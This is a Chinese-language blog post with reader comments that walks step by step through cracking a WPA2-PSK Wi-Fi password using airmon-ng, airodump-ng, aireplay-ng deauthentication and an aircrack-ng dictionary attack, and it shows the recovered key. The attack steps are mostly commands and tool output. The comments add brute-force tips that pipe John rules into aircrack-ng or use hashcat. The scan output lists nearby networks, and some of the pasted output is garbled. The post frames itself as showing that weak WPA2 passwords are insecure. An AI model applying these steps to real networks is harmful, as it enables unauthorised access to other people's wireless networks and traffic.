2014年1月11日 星期六

WPA 基地台密碼破解實錄

以前的Wifi AP 採 WEP 通訊加密,只要攔截足夠的封包(一般會借助 aireplay-nt -3 )就能解密,最近的 AP 大都改採 WPA2 ,大家都說 WPA2 比 WEP 更安全,但是如果密碼強度不足(例如使用出廠預設值),環境因素也配合,其實也蠻好破解的。
本篇就是針對採用 WPA2-PSK  AP進行破解的紀錄,看完之後你應該不會再認為 WPA2 很安全。

為了不讓一般人掃描到此 AP,此 AP  已隱藏 SSID,在不知 SSID 下其實透過 airodump-ng 很容就可以找出隱藏的 SSID,此次破解使用到的工具軟體如下:
ifconfig :啟動及查看網卡狀態。
iwconfig :查看無線網卡的狀態及作用模式。
airmon-ng :將無線網卡啟用在監聽模式。
airodump-ng :擷取往來的封包。
aireplay-ng :利用阻斷方式讓 Client重新尋求連線。
aircrack-ng :利用擷取的封包檔進行破解,
由於要使用 arimon-ng ,網卡須具備監聽/注入功能,我使用的是 ARGtek GM5 WLAN 802.11b/g/n USB 網卡 ,這一片網卡在 BackTrack5 或 Kali 上使用都有一點點小問題,就是有時候會不靈光,明明已啟動監聽模,可是卻監聽不到任何資料。
操作步驟如下:
root@kali104:/# lsusb                                                       利用 lsusb 查看 USB 的裝置資訊
Bus 001 Device 002: ID 148f:3070 Ralink Technology, Corp. RT2870/RT3070 Wireless Adapter
Bus 002 Device 002: ID 0e0f:0003 VMware, Inc. Virtual Mouse
Bus 002 Device 003: ID 0e0f:0002 VMware, Inc. Virtual USB Hub

root@kali104:/# ifconfig                                                  USB網卡剛接上時,ifconfig 還看不到
eth0    Link encap:Ethernet  HWaddr 00:0c:29:c8:c6:3f
          inet addr:192.168.206.128  Bcast:192.168.206.255  Mask:255.255.255.0
          inet6 addr: fe80::20c:29ff:fec8:c63f/64 Scope:Link
         (部分訊息省略~~)
lo        Link encap:Local Loopback
          inet addr:127.0.0.1  Mask:255.0.0.0
          inet6 addr: ::1/128 Scope:Host
           (部分訊息省略~~)

root@kali104:/# iwconfig                                               利用 iwconfig 則可以看到網卡為 wlan0
wlan0     IEEE 802.11bgn  ESSID:off/any
          Mode:Managed  Access Point: Not-Associated   Tx-Power=0 dBm  p;p;
          Retry  long limit:7   RTS thr:off   Fragment thr:offffff
          Encryption key:offff
          Power Management:onon

root@kali104:/# ifconfig wlan0 up                                利用 ifconfig 啟動 wlan0 網卡
root@kali104:/# ifconfig
eth0      Link encap:Ethernet  HWaddr 00:0c:29:c8:c6:3f
          inet addr:192.168.206.128  Bcast:192.168.206.255  Mask:255.255.255.0
          inet6 addr: fe80::20c:29ff:fec8:c63f/64 Scope:Link
          (部分訊息省略~~)
lo        Link encap:Local Loopback
          inet addr:127.0.0.1  Mask:255.0.0.0
          inet6 addr: ::1/128 Scope:Host
           (部分訊息省略~~)
wlan0     Link encap:Ethernet  HWaddr 00:0c:43:a4:33:a1                            <== 此網卡的 BSSID
          UP BROADCAST MULTICAST  MTU:1500  Metric:1
          RX packets:0 errors:0 dropped:0 overruns:0 frame:0
          TX packets:0 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:1000
          RX bytes:0 (0.0 B)  TX bytes:0 (0.0 B)

root@kali104:/# airmon-ng start wlan0
Found 1 processes that could cause trouble.
If airodump-ng, aireplay-ng or airtun-ng stops working after
a short period of time, you may want to kill (some of) them!
-e
PID Name
2669 dhclient
Interface Chipset Driver
wlan0 Ralink RT2870/3070 rt2800usb - [phy0]
(monitor mode enabled on mon0)                                       wlan0 已開啟監聽模式,接口名稱為 mon0

root@kali104:/# aireplay-ng -9 mon0
08:27:31  Trying broadcast probe requests...
08:27:33  No Answer...                                                       利用 aireplay-ng 測試,結果收不到訊號
08:27:33  Found 0 APs
前面說過這個 USB 網卡有時會收不到訊號,用 aireplay-ng 測一下就知道了,如果你的網卡可以正常啟用監聽模式,就不會理會下面的處理方法。
決解方式就是啟用 airodump-ng mon0  (會掃描 Channel,但收不到封包),等 Channel 掃描過一輪,然後就直接拔掉 USB 接頭,airodump-ng 的掃描動作會 hung 住,將 hung 住的 Console 關掉,約等三秒鐘,再將 USB 插回,並重新開啟一個新的 Console,再依序執行
ifconfig wlan0 up
airmon-ng start wlan0
root@kali104:/# aireplay-ng -9 mon0                                              重新啟用監聽模式後,再試一次 arieplay-ng
08:32:26  Trying broadcast probe requests...
08:32:26  Injection is working!
08:32:28  Found 5 APs
08:32:28  Trying directed probe requests...
08:32:28  C8:6C:87:2F:C4:7B - channel: 1 - 'CHT1823'
08:32:29  Ping (min/avg/max): 1.933ms/19.430ms/59.587ms Power: -77.47
08:32:29  30/30: 100%
08:32:29  C8:6C:87:12:14:9F - channel: 1 - 'CHT7627'
08:32:29  Ping (min/avg/max): 2.308ms/19.877ms/51.861ms Power: -66.13
08:32:29  30/30: 100%
08:32:29  00:26:5A:18:CE:0B - channel: 1 - 'alps007'
08:32:30  Ping (min/avg/max): 2.911ms/22.709ms/30.617ms Power: -77.67
08:32:30  30/30: 100%
08:32:30  B0:B2:DC:30:D0:B0 - channel: 1 - 'CHT8872'
08:32:34  Ping (min/avg/max): 3.144ms/7.718ms/13.795ms Power: -81.08
08:32:34  13/30:  43%
08:32:34  00:26:5A:18:D0:81 - channel: 1 - 'alps002'
08:32:34  Ping (min/avg/max): 2.663ms/20.470ms/37.405ms Power: -79.93
08:32:34  30/30: 100%
這時候就描到我家附近有五個 AP ! 表示 監聽模式已成功運作! 接下來就可以正常工作了!

root@kali104:/# iwconfig                                                再用 iwconfig 就可以看到 wlan0 及監聽接口 mon0
wlan0     IEEE 802.11bgn  ESSID:off/any
          Mode:Managed  Access Point: Not-Associated   Tx-Power=20 dBm
          Retry  long limit:7   RTS thr:off   Fragment thr:off
          Encryption key:off
          Power Management:on
mon0      IEEE 802.11bgn  Mode:Monitor  Frequency:2.412 GHz  Tx-Power=20 dBm
          Retry  long limit:7   RTS thr:off   Fragment thr:off
          Power Management:on
(如果要查看附近 AP 的 BSSID (MAC address),可以利用 iwlist 指令)

root@kali104:/# airodump-ng mon0
BSSID                         PWR  Beacons    #Data, #/s  CH  MB   ENC  CIPHER AUTH  ESSID
02:2C:2C:BF:6B:BA  -1       9             0         0   10   11    OPN                            HP43A43B
08:10:77:69:1D:E0    -43      21            30        0    9      54e    WPA2 CCMP  PSK     AP_WPA
C8:6C:87:12:14:9F    -62      10            1          0    1      54e    WPA  CCMP   PSK     CHT7627
00:26:5A:18:D0:82     -77      5              0         0    5      54e.    OPN                             alps001
00:26:5A:18:CE:0B    -78       3             3          0    1      54e.   OPN                             alps0077
C8:6C:87:2F:C4:7B    -78       7             0          0    1      54e    WPA  TKIP     PSK      CHT1823
00:13:46:FF:01:32      -79       7             0          0    6      54 .    OPN                             alps01
00:26:5A:18:D0:94    -80        5             0          0   6      54e.    OPN                             alps004
00:26:5A:18:D0:81    -83        2             0          0   1      54e.    OPN                             alps002
78:44:76:FA:0A:DC   -83        2             0          0   5      54e     WPA2 CCMP   PSK     TOTOLINK N300RA
00:D0:41:D1:8C:06    -84        3             0          0  11     54e     WPA2 CCMP   PSK    Belle
BSSID                         STATION               PWR  Rate    Lost    Frames  Probe
(not associated)          00:21:00:69:39:8B   -20     0 - 1      1        3          AP_WPA      
02:2C:2C:BF:6B:BA  68:B5:99:43:A4:3B  -80     0 - 1     68       9
08:10:77:69:1D:E0    18:00:2D:97:F5:34  -127    0e- 0e   0        4
08:10:77:69:1D:E0    8C:A9:82:1F:C8:18  -127   0e- 0e   0        27  
利用 airodump-ng 我們看到更多的 AP,其中 AP_WPA 是今天示範的對象。

root@kali104:/# airodump-ng -w /tmp/ap_cmj2 -c 9 --bssid 08:10:77:69:1D:E0 mon0
-w /tmp/ap_cmj2      將擷取到的封包寫到檔案裡
-c 9                          指定監聽 Channel 9
--bssid 08:10:77:69:1D:E0 mon0           指定 AP_WPA 的 MAC address

然後開啟另一個Console,要使用 aireplay -0 10 -a 08:10:77:69:1D:E0 ,發送阻斷信號,好讓 Client重新提出連線認證!
root@kali104:/# aireplay-ng -0 10 -a 08:10:77:69:1D:E0 mon0
10:09:07  Waiting for beacon frame (BSSID: 08:10:77:69:1D:E0) on channel 9
NB: this attack is more effective when targeting
a connected wireless client (-c<client's mac>).
10:09:07  Sending DeAuth to broadcast -- BSSID: [08:10:77:69:1D:E0]
                (部分訊息省略~~)
10:09:12  Sending DeAuth to broadcast -- BSSID: [08:10:77:69:1D:E0]

原來的 Console 則繼續擷取封包!
CH  9 ][ Elapsed: 1 min ][ 2007-04-26 17:41 ][ WPA handshake: 00:14:6C:7E:40:80
 BSSID              PWR RXQ  Beacons    #Data, #/s  CH  MB   ENC  CIPHER AUTH ESSID
 08:10:77:69:1D:E0  -52 100      379    97030    1   9  54e  WPA2 CCMP   PSK  <length:7>

 BSSID              STATION            PWR   Rate   Lost  Frames  Probes
 08:10:77:69:1D:E0  00:0F:B5:32:31:31  -22   36-24    2     14
 08:10:77:69:1D:E0  00:14:A4:3F:8D:13  -36    0-0     0      4
 08:10:77:69:1D:E0  00:0C:41:52:D1:D1  -42   36-36    0      5
 root@kali104:/#                               按下 Ctrl+C 返回提示號
大約擷取 90000 個封包數即可,此時按下 Ctrl-C ,中止 airodump-ng 的執行,接著用 aircrack-ng 對擷取的封包檔進行破解,記得要佐以密碼檔(很重要!)
root@kali104:/tmp# aircrack-ng -w /usr/share/john/password.lst,/usr/share/metasploit-framework/data/john/wordlists/password.lst ap_cmj2A-*.cap

不到一秒鐘就完成密碼破解,密碼就是「1qaz2wsx3edc4rfv
後記:要能順利破解 WPA 的密鑰,有兩項重要因素:
一、該 AP 要正好有人透過它上網。(不然就抓不到解碼用的封包)
二、字典檔要正好有此 AP 使用的密鑰。

8 則留言:

  1. 我執行 sudo airodump-ng mon0 的時候
    出現
    nl80211 not found.
    Interface mon0:
    ioctl(SIOCGIFINDEX) failed: No such device
    請問該怎麼修改

    回覆刪除
    回覆
    1. 抱歉! 我無法確切解決您的問題,謹提供下列網址供參。裡頭有一則是關於「ioctl(SIOCGIFINDEX) failed: No such device」
      http://www.aircrack-ng.org/doku.php?id=faq#why_do_i_get_ioctl_siocgifindex_failedno_such_device

      如果不是因為上列因素,有可能是網卡驅動程式的問題,不是每一款無線網卡都適合aircarck-ng,您可以參考
      http://www.aircrack-ng.org/doku.php?id=compatible_cards。

      刪除
    2. 哥 我在監聽時 全部出現 (not associated)
      也 macchanger 了 也是沒用 不知道是哪裡出問題>"<
      網卡是 ALFA rtl8192cu @@?
      請大大為小滴 指點迷津°
      哥 我有支持你的 KALI LINUX 滲透測試工具喔 讚

      刪除
    3. 首先感謝您的支持!
      「監聽」是指用 airodump-ng 嗎? 在書的 7-14 頁有提到 not associated 是指Client 還沒連到 AP。可是這跟 macchanger 無關才是,要破解密碼是對 AP ,Client 只是用來發動 replay 的工具,如果沒有 Client 連線到目標 AP ,也可以利用 aireplay-ng 1 的方式,發送假的授權請求封包

      刪除
    4. 哥 謝謝°
      小的來試試°

      刪除
  2. 1.請問一下要如何查到網卡是否有支援監聽/注入功能
    或是有清單明確寫出廠牌型號有支援 監聽/注入功能

    2.破解封包的密碼..此程式只支援"字典檔"破解?
    萬一字典檔內沒有此密碼..那也無法破解?!
    有辦法設定暴力破解嗎?
    謝謝!!

    回覆刪除
    回覆
    1. 1.有關合用的晶片可參考 https://www.aircrack-ng.org/doku.php?id=compatibility_drivers,

      2.您的想法非常好,我在網路上找到一種用法
      john --stdout --wordlist=specialrules.lst --rules | aircrack-ng -e test -a 2 -w - /root/capture/wpa.cap

      它說是利用 john 產生密碼再餵給 aircrack-ng,但我沒有親自測過,不知效果如何?僅提供參考,這篇文章發表在 https://www.aircrack-ng.org/doku.php?id=aircrack-ng

      另外有位朋友分享另一組工具 :HashCat,也轉給您參考
      用aircrack 解cap 每秒約1000行
      後來改用HashCat(GUI)每秒約10000行,搭配適合的硬體應該可以到每秒35000行,速度快上不少

      刪除